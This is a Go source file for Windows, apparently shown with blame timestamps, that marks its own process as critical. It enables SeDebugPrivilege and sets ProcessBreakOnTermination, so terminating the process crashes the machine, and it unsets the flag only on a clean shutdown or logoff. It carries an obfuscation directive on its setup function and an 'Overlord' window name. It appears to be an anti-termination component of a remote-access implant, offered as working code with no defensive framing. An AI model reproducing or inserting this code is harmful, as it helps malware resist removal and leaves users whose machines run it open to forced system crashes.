2026-04-03 10:47:05 -05:00
|
|
|
//go:build windows
|
|
|
|
|
// +build windows
|
|
|
|
|
|
|
|
|
|
package criticalproc
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"fmt"
|
|
|
|
|
"log"
|
2026-05-29 22:51:25 -05:00
|
|
|
"runtime"
|
|
|
|
|
"sync"
|
2026-04-03 10:47:05 -05:00
|
|
|
"unsafe"
|
|
|
|
|
|
|
|
|
|
"golang.org/x/sys/windows"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
var (
|
|
|
|
|
modntdll = windows.NewLazySystemDLL("ntdll.dll")
|
|
|
|
|
procNtSetInformationProcess = modntdll.NewProc("NtSetInformationProcess")
|
2026-05-29 22:51:25 -05:00
|
|
|
modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
|
|
|
|
procSetConsoleCtrlHandler = modkernel32.NewProc("SetConsoleCtrlHandler")
|
|
|
|
|
procGetModuleHandleW = modkernel32.NewProc("GetModuleHandleW")
|
|
|
|
|
moduser32 = windows.NewLazySystemDLL("user32.dll")
|
|
|
|
|
procRegisterClassExW = moduser32.NewProc("RegisterClassExW")
|
|
|
|
|
procCreateWindowExW = moduser32.NewProc("CreateWindowExW")
|
|
|
|
|
procDefWindowProcW = moduser32.NewProc("DefWindowProcW")
|
|
|
|
|
procGetMessageW = moduser32.NewProc("GetMessageW")
|
|
|
|
|
procTranslateMessage = moduser32.NewProc("TranslateMessage")
|
|
|
|
|
procDispatchMessageW = moduser32.NewProc("DispatchMessageW")
|
|
|
|
|
|
|
|
|
|
stateMu sync.Mutex
|
|
|
|
|
breakOnTerminationEnabled bool
|
|
|
|
|
shutdownHandlerRegistered bool
|
|
|
|
|
consoleCtrlCallback uintptr
|
|
|
|
|
shutdownWindowCallback uintptr
|
2026-04-03 10:47:05 -05:00
|
|
|
)
|
|
|
|
|
|
|
|
|
|
const processBreakOnTermination = 29
|
2026-05-29 22:51:25 -05:00
|
|
|
const (
|
|
|
|
|
ctrlCloseEvent = 2
|
|
|
|
|
ctrlLogoffEvent = 5
|
|
|
|
|
ctrlShutdownEvent = 6
|
|
|
|
|
wmQueryEndSession = 0x0011
|
|
|
|
|
wmEndSession = 0x0016
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
type wndClassEx struct {
|
|
|
|
|
cbSize uint32
|
|
|
|
|
style uint32
|
|
|
|
|
lpfnWndProc uintptr
|
|
|
|
|
cbClsExtra int32
|
|
|
|
|
cbWndExtra int32
|
|
|
|
|
hInstance windows.Handle
|
|
|
|
|
hIcon windows.Handle
|
|
|
|
|
hCursor windows.Handle
|
|
|
|
|
hbrBackground windows.Handle
|
|
|
|
|
lpszMenuName *uint16
|
|
|
|
|
lpszClassName *uint16
|
|
|
|
|
hIconSm windows.Handle
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type point struct {
|
|
|
|
|
x int32
|
|
|
|
|
y int32
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type msg struct {
|
|
|
|
|
hwnd windows.Handle
|
|
|
|
|
message uint32
|
|
|
|
|
wParam uintptr
|
|
|
|
|
lParam uintptr
|
|
|
|
|
time uint32
|
|
|
|
|
pt point
|
|
|
|
|
}
|
2026-04-03 10:47:05 -05:00
|
|
|
|
|
|
|
|
func Setup() {
|
2026-04-20 13:46:59 -05:00
|
|
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
2026-04-03 10:47:05 -05:00
|
|
|
if !windows.GetCurrentProcessToken().IsElevated() {
|
|
|
|
|
log.Printf("[criticalproc] not running as administrator, skipping critical process flag")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if err := enableSeDebugPrivilege(); err != nil {
|
|
|
|
|
log.Printf("[criticalproc] failed to enable SeDebugPrivilege: %v", err)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if err := ntSetBreakOnTermination(1); err != nil {
|
|
|
|
|
log.Printf("[criticalproc] failed to set critical process: %v", err)
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-05-29 22:51:25 -05:00
|
|
|
stateMu.Lock()
|
|
|
|
|
breakOnTerminationEnabled = true
|
|
|
|
|
stateMu.Unlock()
|
|
|
|
|
registerShutdownHandler()
|
2026-04-03 10:47:05 -05:00
|
|
|
log.Printf("[criticalproc] process marked as critical")
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func Teardown() {
|
2026-05-29 22:51:25 -05:00
|
|
|
stateMu.Lock()
|
|
|
|
|
enabled := breakOnTerminationEnabled
|
|
|
|
|
stateMu.Unlock()
|
|
|
|
|
if !enabled {
|
2026-04-03 10:47:05 -05:00
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if err := ntSetBreakOnTermination(0); err != nil {
|
|
|
|
|
log.Printf("[criticalproc] failed to unset critical process: %v", err)
|
2026-05-29 22:51:25 -05:00
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
stateMu.Lock()
|
|
|
|
|
breakOnTerminationEnabled = false
|
|
|
|
|
stateMu.Unlock()
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func registerShutdownHandler() {
|
|
|
|
|
stateMu.Lock()
|
|
|
|
|
if shutdownHandlerRegistered {
|
|
|
|
|
stateMu.Unlock()
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
shutdownHandlerRegistered = true
|
|
|
|
|
stateMu.Unlock()
|
|
|
|
|
|
|
|
|
|
consoleCtrlCallback = windows.NewCallback(func(ctrlType uint32) uintptr {
|
|
|
|
|
switch ctrlType {
|
|
|
|
|
case ctrlCloseEvent, ctrlLogoffEvent, ctrlShutdownEvent:
|
|
|
|
|
Teardown()
|
|
|
|
|
}
|
|
|
|
|
return 0
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
ret, _, err := procSetConsoleCtrlHandler.Call(consoleCtrlCallback, 1)
|
|
|
|
|
if ret == 0 {
|
|
|
|
|
log.Printf("[criticalproc] failed to register shutdown handler: %v", err)
|
|
|
|
|
}
|
|
|
|
|
go runShutdownWindow()
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func runShutdownWindow() {
|
|
|
|
|
runtime.LockOSThread()
|
|
|
|
|
defer runtime.UnlockOSThread()
|
|
|
|
|
|
|
|
|
|
className, err := windows.UTF16PtrFromString("OverlordCriticalProcessShutdownWindow")
|
|
|
|
|
if err != nil {
|
|
|
|
|
log.Printf("[criticalproc] failed to create shutdown window class name: %v", err)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
instance, _, _ := procGetModuleHandleW.Call(0)
|
|
|
|
|
shutdownWindowCallback = windows.NewCallback(func(hwnd uintptr, msg uint32, wParam uintptr, lParam uintptr) uintptr {
|
|
|
|
|
switch msg {
|
|
|
|
|
case wmQueryEndSession:
|
|
|
|
|
Teardown()
|
|
|
|
|
return 1
|
|
|
|
|
case wmEndSession:
|
|
|
|
|
if wParam != 0 {
|
|
|
|
|
Teardown()
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
ret, _, _ := procDefWindowProcW.Call(hwnd, uintptr(msg), wParam, lParam)
|
|
|
|
|
return ret
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
wc := wndClassEx{
|
|
|
|
|
cbSize: uint32(unsafe.Sizeof(wndClassEx{})),
|
|
|
|
|
lpfnWndProc: shutdownWindowCallback,
|
|
|
|
|
hInstance: windows.Handle(instance),
|
|
|
|
|
lpszClassName: className,
|
|
|
|
|
}
|
|
|
|
|
ret, _, registerErr := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc)))
|
|
|
|
|
if ret == 0 {
|
|
|
|
|
log.Printf("[criticalproc] failed to register shutdown window class: %v", registerErr)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
hwnd, _, createErr := procCreateWindowExW.Call(
|
|
|
|
|
0,
|
|
|
|
|
uintptr(unsafe.Pointer(className)),
|
|
|
|
|
uintptr(unsafe.Pointer(className)),
|
|
|
|
|
0,
|
|
|
|
|
0,
|
|
|
|
|
0,
|
|
|
|
|
0,
|
|
|
|
|
0,
|
|
|
|
|
0,
|
|
|
|
|
0,
|
|
|
|
|
instance,
|
|
|
|
|
0,
|
|
|
|
|
)
|
|
|
|
|
if hwnd == 0 {
|
|
|
|
|
log.Printf("[criticalproc] failed to create shutdown window: %v", createErr)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
var message msg
|
|
|
|
|
for {
|
|
|
|
|
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&message)), hwnd, 0, 0)
|
|
|
|
|
if int32(ret) <= 0 {
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
procTranslateMessage.Call(uintptr(unsafe.Pointer(&message)))
|
|
|
|
|
procDispatchMessageW.Call(uintptr(unsafe.Pointer(&message)))
|
2026-04-03 10:47:05 -05:00
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func enableSeDebugPrivilege() error {
|
|
|
|
|
var hToken windows.Token
|
|
|
|
|
err := windows.OpenProcessToken(
|
|
|
|
|
windows.CurrentProcess(),
|
|
|
|
|
windows.TOKEN_ADJUST_PRIVILEGES|windows.TOKEN_QUERY,
|
|
|
|
|
&hToken,
|
|
|
|
|
)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return fmt.Errorf("OpenProcessToken: %w", err)
|
|
|
|
|
}
|
|
|
|
|
defer hToken.Close()
|
|
|
|
|
|
|
|
|
|
seDebugName, err := windows.UTF16PtrFromString("SeDebugPrivilege")
|
|
|
|
|
if err != nil {
|
|
|
|
|
return fmt.Errorf("UTF16PtrFromString: %w", err)
|
|
|
|
|
}
|
|
|
|
|
var luid windows.LUID
|
|
|
|
|
if err := windows.LookupPrivilegeValue(nil, seDebugName, &luid); err != nil {
|
|
|
|
|
return fmt.Errorf("LookupPrivilegeValue: %w", err)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
tp := windows.Tokenprivileges{
|
|
|
|
|
PrivilegeCount: 1,
|
|
|
|
|
Privileges: [1]windows.LUIDAndAttributes{
|
|
|
|
|
{Luid: luid, Attributes: windows.SE_PRIVILEGE_ENABLED},
|
|
|
|
|
},
|
|
|
|
|
}
|
|
|
|
|
return windows.AdjustTokenPrivileges(hToken, false, &tp, 0, nil, nil)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func ntSetBreakOnTermination(val uint32) error {
|
|
|
|
|
ret, _, _ := procNtSetInformationProcess.Call(
|
|
|
|
|
uintptr(windows.CurrentProcess()),
|
|
|
|
|
processBreakOnTermination,
|
|
|
|
|
uintptr(unsafe.Pointer(&val)),
|
|
|
|
|
unsafe.Sizeof(val),
|
|
|
|
|
)
|
|
|
|
|
if ret != 0 {
|
|
|
|
|
return fmt.Errorf("NtSetInformationProcess(ProcessBreakOnTermination) failed: NTSTATUS 0x%x", ret)
|
|
|
|
|
}
|
|
|
|
|
return nil
|
|
|
|
|
}
|